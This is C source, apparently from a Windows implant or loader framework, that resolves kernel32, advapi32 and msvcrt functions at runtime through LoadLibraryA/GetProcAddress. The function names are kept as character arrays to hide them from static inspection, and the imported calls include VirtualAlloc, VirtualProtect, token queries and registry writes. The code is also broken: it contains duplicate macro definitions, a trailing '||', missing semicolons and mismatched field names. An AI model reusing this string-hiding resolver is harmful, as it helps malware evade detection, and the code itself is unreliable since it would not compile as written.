	{ 'F', 'i', 'n', 'd', 'N', 'e', 'x', 't', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'F', 'l', 'u', 's', 'h', 'F', 'i', 'l', 'e', 'B', 'u', 'f', 'f', 'e', 'r', 's',  0x0 },
	{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y',  0x0 },
	{ 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's',  0x0 },
	{ 'G', 'e', 't', 'D', 'r', 'i', 'v', 'e', 'T', 'y', 'p', 'e', 'A',  0x0 },
	{ 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e',  0x0 },
	{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A',  0x0 },
	{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'W',  0x0 },
	{ 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r',  0x0 },
	{ 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's',  0x0 },
	{ 'G', 'e', 't', 'S', 'y', 's', 't', 'e', 'm', 'T', 'i', 'm', 'e', 'A', 's', 'F', 'i', 'l', 'e', 'T', 'i', 'm', 'e',  0x0 },
	{ 'G', 'e', 't', 'T', 'i', 'c', 'k', 'C', 'o', 'u', 'n', 't',  0x0 },
	{ 'G', 'l', 'o', 'b', 'a', 'l', 'L', 'o', 'c', 'k',  0x0 },
	{ 'G', 'l', 'o', 'b', 'a', 'l', 'U', 'n', 'l', 'o', 'c', 'k',  0x0 },
	{ 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'L', 'e', 'a', 'v', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'F', 'r', 'e', 'e',  0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'R', 'e', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'O', 'u', 't', 'p', 'u', 't', 'D', 'e', 'b', 'u', 'g', 'S', 't', 'r', 'i', 'n', 'g', 'A',  0x0 },
	{ 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e',  0x0 },
	{ 'S', 'l', 'e', 'e', 'p',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e',  0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',  0x0 },
	{ 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't',  0x0 },
	{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e',  0x0 },
};
---> advapi32 <---
BOOL WINAPI ConvertSidToStringSidA(_In_  PSID   Sid, _Out_ LPSTR *StringSid);
BOOL WINAPI GetTokenInformation(_In_ HANDLE TokenHandle,_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,_Out_opt_ LPVOID TokenInformation,_In_ DWORD TokenInformationLength,_Out_ PDWORD ReturnLength);
BOOL WINAPI OpenProcessToken(_In_  HANDLE  ProcessHandle,_In_  DWORD   DesiredAccess,_Out_ PHANDLE TokenHandle);
LONG WINAPI RegCloseKey(_In_ HKEY hKey);
LONG WINAPI RegCreateKeyExA(_In_ HKEY hKey,  _In_ LPCSTR lpSubKey,  _Reserved_ DWORDReserved,  _In_opt_   LPCSTR  lpClass,  _In_ DWORDdwOptions,  _In_ REGSAM  samDesired,  _In_opt_   LPSECURITY_ATTRIBUTES lpSecurityAttributes,  _Out_PHKEYphkResult,  _Out_opt_  LPDWORD lpdwDisposition);
LONG WINAPI RegDeleteKeyA(  _In_ HKEY    hKey,  _In_ LPCSTR lpSubKey);
LONG WINAPI RegDisableReflectionKey(  _In_ HKEY hBase);
LONG WINAPI RegEnableReflectionKey(_In_ HKEY hBase);
LONG WINAPI RegOpenCurrentUser(_In_  REGSAM samDesired, _Out_ PHKEY  phkResult);
LONG WINAPI RegOpenKeyExA(  _In_ HKEY    hKey,  _In_opt_ LPCSTR lpSubKey,  _In_ DWORD   ulOptions,  _In_ REGSAM  samDesired,  _Out_    PHKEY   phkResult);
LONG WINAPI RegQueryReflectionKey(  _In_  HKEY hBase,  _Out_ BOOL *bIsReflectionDisabled);
LONG WINAPI RegSetValueExA(  _In_    HKEY hKey,  _In_opt_   LPCSTR lpValueName,  _Reserved_    DWORD   Reserved,  _In_    DWORD   dwType,  _In_    const BYTE *lpData,  _In_    DWORD   cbData);
typedef BOOL(WINAPI *CONVERTSIDTOSTRINGSIDA)(_In_  PSID   Sid, _Out_ LPSTR *StringSid);
typedef BOOL(WINAPI *GETTOKENINFORMATION)(_In_ HANDLE TokenHandle,_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,_Out_opt_ LPVOID TokenInformation,_In_ DWORD TokenInformationLength,_Out_ PDWORD ReturnLength);
typedef BOOL(WINAPI *OPENPROCESSTOKEN)(_In_  HANDLE  ProcessHandle,_In_  DWORD   DesiredAccess,_Out_ PHANDLE TokenHandle);
typedef LONG(WINAPI *REGCLOSEKEY)(_In_ HKEY hKey);
typedef LONG(WINAPI *REGCREATEKEYEXA)(_In_ HKEY hKey,  _In_ LPCSTR lpSubKey,  _Reserved_ DWORDReserved,  _In_opt_   LPCSTR  lpClass,  _In_ DWORDdwOptions,  _In_ REGSAM  samDesired,  _In_opt_   LPSECURITY_ATTRIBUTES lpSecurityAttributes,  _Out_PHKEYphkResult,  _Out_opt_  LPDWORD lpdwDisposition);
typedef LONG(WINAPI *REGDELETEKEYA)(  _In_ HKEY    hKey,  _In_ LPCSTR lpSubKey);
typedef LONG(WINAPI *REGDISABLEREFLECTIONKEY)(  _In_ HKEY hBase);
typedef LONG(WINAPI *REGENABLEREFLECTIONKEY)(_In_ HKEY hBase);
typedef LONG(WINAPI *REGOPENCURRENTUSER)(_In_  REGSAM samDesired, _Out_ PHKEY  phkResult);
typedef LONG(WINAPI *REGOPENKEYEXA)(  _In_ HKEY    hKey,  _In_opt_ LPCSTR lpSubKey,  _In_ DWORD   ulOptions,  _In_ REGSAM  samDesired,  _Out_    PHKEY   phkResult);
typedef LONG(WINAPI *REGQUERYREFLECTIONKEY)(  _In_  HKEY hBase,  _Out_ BOOL *bIsReflectionDisabled);
typedef LONG(WINAPI *REGSETVALUEEXA)(  _In_    HKEY hKey,  _In_opt_   LPCSTR lpValueName,  _Reserved_    DWORD   Reserved,  _In_    DWORD   dwType,  _In_    const BYTE *lpData,  _In_    DWORD   cbData);



typedef struct _VTABLE_ADVAPI32
{
    CONVERTSIDTOSTRINGSIDA fpConvertSidToStringSidA;
    GETTOKENINFORMATION fpGetTokenInformation;
    OPENPROCESSTOKEN fpOpenProcessToken;
    REGCLOSEKEY fpRegCloseKey;
    REGCREATEKEYEXA fpRegCreateKeyExA;
    REGDELETEKEYA fpRegDeleteKeyA;
    REGDISABLEREFLECTIONKEY fpRegDisableReflectionKey;
    REGENABLEREFLECTIONKEY fpRegEnableReflectionKey;
    REGOPENCURRENTUSER fpRegOpenCurrentUser;
    REGOPENKEYEXA fpRegOpenKeyExA;
    REGQUERYREFLECTIONKEY fpRegQueryReflectionKey;
    REGSETVALUEEXA fpRegSetValueExA;

} VTABLE_ADVAPI32, *PVTABLE_ADVAPI32;




/* ---> advapi32 <--- */
#define API_CONVERTSIDTOSTRINGSIDA			 ConvertSidToStringSidA
#define API_GETTOKENINFORMATION			 GetTokenInformation
#define API_OPENPROCESSTOKEN			 OpenProcessToken
#define API_REGCLOSEKEY			 RegCloseKey
#define API_REGCREATEKEYEXA			 RegCreateKeyExA
#define API_REGDELETEKEYA			 RegDeleteKeyA
#define API_REGDISABLEREFLECTIONKEY			 RegDisableReflectionKey
#define API_REGENABLEREFLECTIONKEY			 RegEnableReflectionKey
#define API_REGOPENCURRENTUSER			 RegOpenCurrentUser
#define API_REGOPENKEYEXA			 RegOpenKeyExA
#define API_REGQUERYREFLECTIONKEY			 RegQueryReflectionKey
#define API_REGSETVALUEEXA			 RegSetValueExA

/* ---> advapi32 <--- */
#define API_CONVERTSIDTOSTRINGSIDA			 pRuntime->pAdvapi32->fpConvertSidToStringSidA
#define API_GETTOKENINFORMATION			 pRuntime->pAdvapi32->fpGetTokenInformation
#define API_OPENPROCESSTOKEN			 pRuntime->pAdvapi32->fpOpenProcessToken
#define API_REGCLOSEKEY			 pRuntime->pAdvapi32->fpRegCloseKey
#define API_REGCREATEKEYEXA			 pRuntime->pAdvapi32->fpRegCreateKeyExA
#define API_REGDELETEKEYA			 pRuntime->pAdvapi32->fpRegDeleteKeyA
#define API_REGDISABLEREFLECTIONKEY			 pRuntime->pAdvapi32->fpRegDisableReflectionKey
#define API_REGENABLEREFLECTIONKEY			 pRuntime->pAdvapi32->fpRegEnableReflectionKey
#define API_REGOPENCURRENTUSER			 pRuntime->pAdvapi32->fpRegOpenCurrentUser
#define API_REGOPENKEYEXA			 pRuntime->pAdvapi32->fpRegOpenKeyExA
#define API_REGQUERYREFLECTIONKEY			 pRuntime->pAdvapi32->fpRegQueryReflectionKey
#define API_REGSETVALUEEXA			 pRuntime->pAdvapi32->fpRegSetValueExA



BOOL LoadAdvapi32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hAdvapi32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strAdvapi32);

    if (hAdvapi32 == NULL)
	return FALSE;

    pRuntime->pAdvapi32->fpConvertSidToStringSidA = (CONVERTSIDTOSTRINGSIDA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strConvertSidToStringSidA);
    pRuntime->pAdvapi32->fpGetTokenInformation = (GETTOKENINFORMATION)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strGetTokenInformation);
    pRuntime->pAdvapi32->fpOpenProcessToken = (OPENPROCESSTOKEN)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strOpenProcessToken);
    pRuntime->pAdvapi32->fpRegCloseKey = (REGCLOSEKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegCloseKey);
    pRuntime->pAdvapi32->fpRegCreateKeyExA = (REGCREATEKEYEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegCreateKeyExA);
    pRuntime->pAdvapi32->fpRegDeleteKeyA = (REGDELETEKEYA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegDeleteKeyA);
    pRuntime->pAdvapi32->fpRegDisableReflectionKey = (REGDISABLEREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegDisableReflectionKey);
    pRuntime->pAdvapi32->fpRegEnableReflectionKey = (REGENABLEREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegEnableReflectionKey);
    pRuntime->pAdvapi32->fpRegOpenCurrentUser = (REGOPENCURRENTUSER)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegOpenCurrentUser);
    pRuntime->pAdvapi32->fpRegOpenKeyExA = (REGOPENKEYEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegOpenKeyExA);
    pRuntime->pAdvapi32->fpRegQueryReflectionKey = (REGQUERYREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegQueryReflectionKey);
    pRuntime->pAdvapi32->fpRegSetValueExA = (REGSETVALUEEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegSetValueExA);


    if (
        !pRuntime->pAdvapi32->fpConvertSidToStringSidA || 
        !pRuntime->pAdvapi32->fpGetTokenInformation || 
        !pRuntime->pAdvapi32->fpOpenProcessToken || 
        !pRuntime->pAdvapi32->fpRegCloseKey || 
        !pRuntime->pAdvapi32->fpRegCreateKeyExA || 
        !pRuntime->pAdvapi32->fpRegDeleteKeyA || 
        !pRuntime->pAdvapi32->fpRegDisableReflectionKey || 
        !pRuntime->pAdvapi32->fpRegEnableReflectionKey || 
        !pRuntime->pAdvapi32->fpRegOpenCurrentUser || 
        !pRuntime->pAdvapi32->fpRegOpenKeyExA || 
        !pRuntime->pAdvapi32->fpRegQueryReflectionKey || 
        !pRuntime->pAdvapi32->fpRegSetValueExA || 
	)
	return FALSE;

    return TRUE;
}


typedef struct _ADVAPI32_STRINGS
{
	CHAR strConvertSidToStringSidA[23];
	CHAR strGetTokenInformation[20];
	CHAR strOpenProcessToken[17];
	CHAR strRegCloseKey[12];
	CHAR strRegCreateKeyExA[16];
	CHAR strRegDeleteKeyA[14];
	CHAR strRegDisableReflectionKey[24];
	CHAR strRegEnableReflectionKey[23];
	CHAR strRegOpenCurrentUser[19];
	CHAR strRegOpenKeyExA[14];
	CHAR strRegQueryReflectionKey[22];
	CHAR strRegSetValueExA[15];
} ADVAPI32_STRINGS, *PADVAPI32_STRINGS;


ADVAPI32_STRING runtimeStrings =
{
	{ 'C', 'o', 'n', 'v', 'e', 'r', 't', 'S', 'i', 'd', 'T', 'o', 'S', 't', 'r', 'i', 'n', 'g', 'S', 'i', 'd', 'A',  0x0 },
	{ 'G', 'e', 't', 'T', 'o', 'k', 'e', 'n', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n',  0x0 },
	{ 'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', 'T', 'o', 'k', 'e', 'n',  0x0 },
	{ 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A',  0x0 },
	{ 'R', 'e', 'g', 'D', 'e', 'l', 'e', 't', 'e', 'K', 'e', 'y', 'A',  0x0 },
	{ 'R', 'e', 'g', 'D', 'i', 's', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'E', 'n', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'U', 's', 'e', 'r',  0x0 },
	{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A',  0x0 },
	{ 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y',  0x0 },
	{ 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A',  0x0 },
};
---> msvcrt <---
uintptr_t __cdecl _beginthreadex(void *security, unsigned stack_size,  unsigned ( __stdcall *start_address )( void * ), void *arglist, unsigned initflag, unsigned *thrdaddr);
int __cdecl _close(int fd);
int __cdecl isdigit(int c);
int __cdecl isspace(int c);
errno_t __cdecl _itoa_s(int value, char *buffer, size_t sizeInCharacters,  int radix );
errno_t __cdecl _itow_s(int value, wchar_t *buffer, size_t sizeInCharacters,  int radix );
int __cdecl memcmp(const void *buf1, const void *buf2, size_t count); 
void* __cdecl memcpy(void *dest, const void *src, size_t count);
errno_t __cdecl memcpy_s(void *dest, size_t numberOfElements, const void *src, size_t count);
void* __cdecl memset(void *dest, int c, size_t count);
int __cdecl _open(const char *filename, int oflag)
int __cdecl rand( void );
int __cdecl _read( int fd, void *buffer, unsigned int count);
int __cdecl _snprintf_s(char *buffer, size_t sizeOfBuffer, size_t count,   const char *format, ... );
int __cdecl _snprintf(char *buffer, size_t count, const char *format, ...);
void __cdecl srand(unsigned int seed);
int __cdecl strcmp(const char *string1, const char *string2);
char* __cdecl _strdup(const char *s1);
size_t __cdecl strlen(const char *str);
char* __cdecl strrchr(const char *str, int c);
int __cdecl sscanf(const char *buffer, const char *format,...);
int __cdecl sscanf_s(const char *buffer, const char *format, ...);
errno_t __cdecl strcat_s(char *strDestination,  size_t numberOfElements,  const char *strSource );
char* __cdecl strchr(const char *str, int c); 
errno_t __cdecl strncpy_s( char *strDest, size_t numberOfElements, const char *strSource, size_t count);
int __cdecl strncmp(const char *string1, const char *string2,  size_t count);
int __cdecl _strnicmp(const char *string1, const char *string2, size_t count);
double __cdecl strtod(const char *nptr, char **endptr);
int __cdecl swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format , ...);
time_t __cdecl time(time_t *timer);
int __cdecl toupper(int c);
int __cdecl _vscprintf(const char *format, va_list argptr);
int __cdecl vsnprintf(char *buffer, size_t count, const char *format, va_list argptr );
int __cdecl vsprintf(char *buffer, const char *format, va_list argptr);
errno_t __cdecl wcscat_s(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource );
errno_t __cdecl wcscpy_s(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource);
size_t __cdecl wcslen(const wchar_t *str);
int __cdecl _write(int fd, const void *buffer, unsigned int count);
int __cdecl _wtoi(const wchar_t *str);
typedef uintptr_t(__cdecl *_BEGINTHREADEX)(void *security, unsigned stack_size,  unsigned ( __stdcall *start_address )( void * ), void *arglist, unsigned initflag, unsigned *thrdaddr);
typedef int(__cdecl *_CLOSE)(int fd);
typedef int(__cdecl *ISDIGIT)(int c);
typedef int(__cdecl *ISSPACE)(int c);
typedef errno_t(__cdecl *_ITOA_S)(int value, char *buffer, size_t sizeInCharacters,  int radix );
typedef errno_t(__cdecl *_ITOW_S)(int value, wchar_t *buffer, size_t sizeInCharacters,  int radix );
typedef int(__cdecl *MEMCMP)(const void *buf1, const void *buf2, size_t count); 
typedef void*(__cdecl *MEMCPY)(void *dest, const void *src, size_t count);
typedef errno_t(__cdecl *MEMCPY_S)(void *dest, size_t numberOfElements, const void *src, size_t count);
typedef void*(__cdecl *MEMSET)(void *dest, int c, size_t count);
typedef int(__cdecl *_OPEN)(const char *filename, int oflag)
typedef int(__cdecl *RAND)( void );
typedef int(__cdecl *_READ)( int fd, void *buffer, unsigned int count);
typedef int(__cdecl *_SNPRINTF_S)(char *buffer, size_t sizeOfBuffer, size_t count,   const char *format, ... );
typedef int(__cdecl *_SNPRINTF)(char *buffer, size_t count, const char *format, ...);
typedef void(__cdecl *SRAND)(unsigned int seed);
typedef int(__cdecl *STRCMP)(const char *string1, const char *string2);
typedef char*(__cdecl *_STRDUP)(const char *s1);
typedef size_t(__cdecl *STRLEN)(const char *str);
typedef char*(__cdecl *STRRCHR)(const char *str, int c);
typedef int(__cdecl *SSCANF)(const char *buffer, const char *format,...);
typedef int(__cdecl *SSCANF_S)(const char *buffer, const char *format, ...);
typedef errno_t(__cdecl *STRCAT_S)(char *strDestination,  size_t numberOfElements,  const char *strSource );
typedef char*(__cdecl *STRCHR)(const char *str, int c); 
typedef errno_t(__cdecl *STRNCPY_S)( char *strDest, size_t numberOfElements, const char *strSource, size_t count);
typedef int(__cdecl *STRNCMP)(const char *string1, const char *string2,  size_t count);
typedef int(__cdecl *_STRNICMP)(const char *string1, const char *string2, size_t count);
typedef double(__cdecl *STRTOD)(const char *nptr, char **endptr);
typedef int(__cdecl *SWPRINTF_S)(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format , ...);
typedef time_t(__cdecl *TIME)(time_t *timer);
typedef int(__cdecl *TOUPPER)(int c);
typedef int(__cdecl *_VSCPRINTF)(const char *format, va_list argptr);
typedef int(__cdecl *VSNPRINTF)(char *buffer, size_t count, const char *format, va_list argptr );
typedef int(__cdecl *VSPRINTF)(char *buffer, const char *format, va_list argptr);
typedef errno_t(__cdecl *WCSCAT_S)(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource );
typedef errno_t(__cdecl *WCSCPY_S)(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource);
typedef size_t(__cdecl *WCSLEN)(const wchar_t *str);
typedef int(__cdecl *_WRITE)(int fd, const void *buffer, unsigned int count);
typedef int(__cdecl *_WTOI)(const wchar_t *str);



typedef struct _VTABLE_MSVCRT
{
    _BEGINTHREADEX fp_beginthreadex;
    _CLOSE fp_close;
    ISDIGIT fpisdigit;
    ISSPACE fpisspace;
    _ITOA_S fp_itoa_s;
    _ITOW_S fp_itow_s;
    MEMCMP fpmemcmp;
    MEMCPY fpmemcpy;
    MEMCPY_S fpmemcpy_s;
    MEMSET fpmemset;
    _OPEN fp_open;
    RAND fprand;
    _READ fp_read;
    _SNPRINTF_S fp_snprintf_s;
    _SNPRINTF fp_snprintf;
    SRAND fpsrand;
    STRCMP fpstrcmp;
    _STRDUP fp_strdup;
    STRLEN fpstrlen;
    STRRCHR fpstrrchr;
    SSCANF fpsscanf;
    SSCANF_S fpsscanf_s;
    STRCAT_S fpstrcat_s;
    STRCHR fpstrchr;
    STRNCPY_S fpstrncpy_s;
    STRNCMP fpstrncmp;
    _STRNICMP fp_strnicmp;
    STRTOD fpstrtod;
    SWPRINTF_S fpswprintf_s;
    TIME fptime;
    TOUPPER fptoupper;
    _VSCPRINTF fp_vscprintf;
    VSNPRINTF fpvsnprintf;
    VSPRINTF fpvsprintf;
    WCSCAT_S fpwcscat_s;
    WCSCPY_S fpwcscpy_s;
    WCSLEN fpwcslen;
    _WRITE fp_write;
    _WTOI fp_wtoi;

} VTABLE_MSVCRT, *PVTABLE_MSVCRT;




/* ---> msvcrt <--- */
#define API__BEGINTHREADEX			 _beginthreadex
#define API__CLOSE			 _close
#define API_ISDIGIT			 isdigit
#define API_ISSPACE			 isspace
#define API__ITOA_S			 _itoa_s
#define API__ITOW_S			 _itow_s
#define API_MEMCMP			 memcmp
#define API_MEMCPY			 memcpy
#define API_MEMCPY_S			 memcpy_s
#define API_MEMSET			 memset
#define API__OPEN			 _open
#define API_RAND			 rand
#define API__READ			 _read
#define API__SNPRINTF_S			 _snprintf_s
#define API__SNPRINTF			 _snprintf
#define API_SRAND			 srand
#define API_STRCMP			 strcmp
#define API__STRDUP			 _strdup
#define API_STRLEN			 strlen
#define API_STRRCHR			 strrchr
#define API_SSCANF			 sscanf
#define API_SSCANF_S			 sscanf_s
#define API_STRCAT_S			 strcat_s
#define API_STRCHR			 strchr
#define API_STRNCPY_S			 strncpy_s
#define API_STRNCMP			 strncmp
#define API__STRNICMP			 _strnicmp
#define API_STRTOD			 strtod
#define API_SWPRINTF_S			 swprintf_s
#define API_TIME			 time
#define API_TOUPPER			 toupper
#define API__VSCPRINTF			 _vscprintf
#define API_VSNPRINTF			 vsnprintf
#define API_VSPRINTF			 vsprintf
#define API_WCSCAT_S			 wcscat_s
#define API_WCSCPY_S			 wcscpy_s
#define API_WCSLEN			 wcslen
#define API__WRITE			 _write
#define API__WTOI			 _wtoi

/* ---> msvcrt <--- */
#define API__BEGINTHREADEX			 pRuntime->pMsvcrt->fp_beginthreadex
#define API__CLOSE			 pRuntime->pMsvcrt->fp_close
#define API_ISDIGIT			 pRuntime->pMsvcrt->fpisdigit
#define API_ISSPACE			 pRuntime->pMsvcrt->fpisspace
#define API__ITOA_S			 pRuntime->pMsvcrt->fp_itoa_s
#define API__ITOW_S			 pRuntime->pMsvcrt->fp_itow_s
#define API_MEMCMP			 pRuntime->pMsvcrt->fpmemcmp
#define API_MEMCPY			 pRuntime->pMsvcrt->fpmemcpy
#define API_MEMCPY_S			 pRuntime->pMsvcrt->fpmemcpy_s
#define API_MEMSET			 pRuntime->pMsvcrt->fpmemset
#define API__OPEN			 pRuntime->pMsvcrt->fp_open
#define API_RAND			 pRuntime->pMsvcrt->fprand
#define API__READ			 pRuntime->pMsvcrt->fp_read
#define API__SNPRINTF_S			 pRuntime->pMsvcrt->fp_snprintf_s
#define API__SNPRINTF			 pRuntime->pMsvcrt->fp_snprintf
#define API_SRAND			 pRuntime->pMsvcrt->fpsrand
#define API_STRCMP			 pRuntime->pMsvcrt->fpstrcmp
#define API__STRDUP			 pRuntime->pMsvcrt->fp_strdup
#define API_STRLEN			 pRuntime->pMsvcrt->fpstrlen
#define API_STRRCHR			 pRuntime->pMsvcrt->fpstrrchr
#define API_SSCANF			 pRuntime->pMsvcrt->fpsscanf
#define API_SSCANF_S			 pRuntime->pMsvcrt->fpsscanf_s
#define API_STRCAT_S			 pRuntime->pMsvcrt->fpstrcat_s
#define API_STRCHR			 pRuntime->pMsvcrt->fpstrchr
#define API_STRNCPY_S			 pRuntime->pMsvcrt->fpstrncpy_s
#define API_STRNCMP			 pRuntime->pMsvcrt->fpstrncmp
#define API__STRNICMP			 pRuntime->pMsvcrt->fp_strnicmp
#define API_STRTOD			 pRuntime->pMsvcrt->fpstrtod
#define API_SWPRINTF_S			 pRuntime->pMsvcrt->fpswprintf_s
#define API_TIME			 pRuntime->pMsvcrt->fptime
#define API_TOUPPER			 pRuntime->pMsvcrt->fptoupper
#define API__VSCPRINTF			 pRuntime->pMsvcrt->fp_vscprintf
#define API_VSNPRINTF			 pRuntime->pMsvcrt->fpvsnprintf
#define API_VSPRINTF			 pRuntime->pMsvcrt->fpvsprintf
#define API_WCSCAT_S			 pRuntime->pMsvcrt->fpwcscat_s
#define API_WCSCPY_S			 pRuntime->pMsvcrt->fpwcscpy_s
#define API_WCSLEN			 pRuntime->pMsvcrt->fpwcslen
#define API__WRITE			 pRuntime->pMsvcrt->fp_write
#define API__WTOI			 pRuntime->pMsvcrt->fp_wtoi



BOOL LoadMsvcrt(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hMsvcrt = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strMsvcrt);

    if (hMsvcrt == NULL)
	return FALSE;

    pRuntime->pMsvcrt->fp_beginthreadex = (_BEGINTHREADEX)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_beginthreadex);
    pRuntime->pMsvcrt->fp_close = (_CLOSE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_close);
    pRuntime->pMsvcrt->fpIsdigit = (ISDIGIT)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strIsdigit);
    pRuntime->pMsvcrt->fpIsspace = (ISSPACE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strIsspace);
    pRuntime->pMsvcrt->fp_itoa_s = (_ITOA_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_itoa_s);
    pRuntime->pMsvcrt->fp_itow_s = (_ITOW_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_itow_s);
    pRuntime->pMsvcrt->fpMemcmp = (MEMCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcmp);
    pRuntime->pMsvcrt->fpMemcpy = (MEMCPY)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcpy);
    pRuntime->pMsvcrt->fpMemcpy_s = (MEMCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcpy_s);
    pRuntime->pMsvcrt->fpMemset = (MEMSET)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemset);
    pRuntime->pMsvcrt->fp_open = (_OPEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_open);
    pRuntime->pMsvcrt->fpRand = (RAND)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strRand);
    pRuntime->pMsvcrt->fp_read = (_READ)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_read);
    pRuntime->pMsvcrt->fp_snprintf_s = (_SNPRINTF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_snprintf_s);
    pRuntime->pMsvcrt->fp_snprintf = (_SNPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_snprintf);
    pRuntime->pMsvcrt->fpSrand = (SRAND)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSrand);
    pRuntime->pMsvcrt->fpStrcmp = (STRCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrcmp);
    pRuntime->pMsvcrt->fp_strdup = (_STRDUP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_strdup);
